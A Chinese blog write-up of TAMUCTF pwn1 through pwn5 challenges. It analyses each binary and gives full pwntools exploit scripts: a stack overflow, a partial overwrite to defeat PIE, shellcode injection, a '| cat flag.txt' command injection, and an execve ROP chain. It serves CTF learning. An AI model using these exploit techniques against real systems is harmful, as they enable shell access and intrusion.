PWN January 03, 2020

TAMUCTF-pwn1到pwn5

Words count 24k Reading time 22 mins. Read count 0

师傅们说去做做TAMUCTF的题目,积累经验,于是去尝试了一波,才发现真的是有些地方自己不懂的知识盲区,也作为一个积累吧,在这里记录

题目:pwn1

首先看看题目先

image.png

有栈溢出的漏洞,其他的保护全开,拖进ida分析一波:

image.png

逻辑很清晰了,前面的几个strcmp可以直接逆向思维,把正确的答案写到payload中,最后一步直接覆盖那个数v5为目标值即可:于是可以写出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
#标志位,0和1
if local:
p = process('./pwn1')
libc = elf.libc

else:
p = remote('pwn.tamuctf.com', 4321)
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

payload = ''
payload += "Sir Lancelot of Camelot\n"
p.recvuntil("name?")
p.send(payload)

payload = ''
payload += "To seek the Holy Grail.\n"
p.recvuntil("quest?")
p.send(payload)

flag = 0x6FD
payload = ""

payload += 0x2B*'a'
payload += p32(0xDEA110C8)
p.recvuntil("What... is my secret?")
p.sendline(payload)
p.interactive()

其中0x2B是v5相对于栈顶的偏移,这样就可以getshell了。


题目:pwn2

同理:先检查再ida静态分析一波:

image.png
image.png
image.png

可以知道的内容是开了内存地址随机化等保护,但是有栈溢出漏洞,在这里一开始不会内存地址随机化的题目,就先去学习了一波:

image.png

这种保护机制就是在每次加载进程时,内存地址都不一样,达到保护的目的,但是一般来说低字节2位不变,那么我们就可以通过覆盖低字节来改变它的跳转方向,也就是上面所说的3,看到return的是v3,而且有栈溢出漏洞和strnpy函数,那么就可以对低两位字节覆盖,覆盖成什么呢?怎么覆盖,继续看ida分析:

image.png

image.png

从这里可以看出v3相对于栈顶的偏移是0x1e,然后print_flag函数的低地址是0x6D8,而v3的初始值是那个two函数,低地址是0x6AD,可知只有最后一个字节不同,那么只覆盖最后一个字节即可,这样,payload就可以写出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn2')
#标志位,0和1
if local:
p = process('./pwn2')
libc = elf.libc

else:
p = remote('pwn.tamuctf.com', 4322)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
flag_addr = 0x6D8
payload = ''
payload += 0x1e*'a'
payload += "\xd8"
p.recvuntil("Which function would you like to call?\n")
p.sendline(payload)

p.interactive()

题目:pwn3

一波分析:

image.png

image.png

可以知道堆栈可执行(窃喜一波),栈溢出漏洞,开了内存地址随机化和got表不可改,

从ida可以知道它返回的地址是栈顶指针,直接用,直接生成shellcode填充,不够的用垃圾字符填充,然后栈溢出到return地址,直接填栈顶指针,上payload,栈大小是0x12A+0x4 = 0x12E(覆盖ebp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
elf = ELF('./pwn3')
#标志位,0和1
if local:
p = process('./pwn3')
libc = elf.libc

else:
p = remote('pwn.tamuctf.com', 4323)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

addr = int(p.recv()[-12:-2],16)
print hex(addr)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x12E,'a')
payload += p32(addr)
p.sendline(payload)

p.interactive()

那么就直接getshell了,中间的那个debug函数是专门对于内存地址随机化的下断点函数,可以多多积累。


题目:pwn4

image.png

image.png
image.png

栈溢出漏洞,堆栈不可执行,分析ida可以知道laas函数是关键,我们输入的是system的参数,一开始直接/bin/sh发现是不行的,因为strchr比较中,47就是“/”,有个保护机制在里面,进入run_cmd看看,发现是有个ls命令,马上想到ls是浏览当前目录下所有文件,那我直接cat flag.txt文件不就OK了吗?(后来被师傅锤了,因为字符串就等于ls cat flag.txt,当然是不行的呀,要有管道符号过渡下,于是加个“|”就好啦),上payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 0
elf = ELF('./pwn4')
#标志位,0和1
if local:
p = process('./pwn4')
libc = elf.libc

else:
p = remote('pwn.tamuctf.com', 4324)

def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

payload = ''
payload += "| cat flag.txt"

p.recvuntil('')
p.sendline(payload)

p.interactive()

这样就直接getshell了,也知道了ls+其他命令的配合(linux基础不够,继续学习~)


题目:pwn5

image.png
image.png

image.png
image.png

可以知道是个静态文件,然后有栈溢出漏洞,开了堆栈不可执行保护,这题乍一看和pwn4一样,我以为思路差不多,但是仔细观察发现snprintf这个拷贝函数只能拷贝7个字节,哦豁,完蛋,这可咋整呢?想起来是个静态文件,于是想到有个rop链:

ROPgadget –binary pwn5 –ropchain使用这个命令,看到有个ROP链,可以直接getshell的,那么直接覆盖到return地址,然后写上这个链即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding=utf8
from pwn import *
from struct import pack
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 0
elf = ELF('./pwn5')
#标志位,0和1
if local:
ph = process('./pwn5')
libc = elf.libc

else:
ph = remote('pwn.tamuctf.com',4325)


#下断点专用函数
#def z(a=''):
#gdb.attach(p,a)
#if a == '':
#raw_input()
#z('b*0x00000\nc')
p = 'a'*0xD + 'a'*0x4
p += pack('<I', 0x0806f68a) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8836) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805501b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f68a) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8836) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805501b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f68a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049373) # xor eax, eax ; ret
p += pack('<I', 0x0805501b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df3bd) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f68a) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049373) # xor eax, eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0807aecf) # inc eax ; ret
p += pack('<I', 0x0806d2d7) # int 0x80

ph.recvuntil("Enter the arguments you would like to pass to ls:")
ph.sendline(p)

ph.interactive()

这样就可以直接getshell了,这是静态文件栈溢出时用到的一个技巧,积累起来,虽然以后的静态文件可能不多,但是作为一个分支吧。


最后的两题以我现在的能力还刚不动,等以后有机会再更新~

0%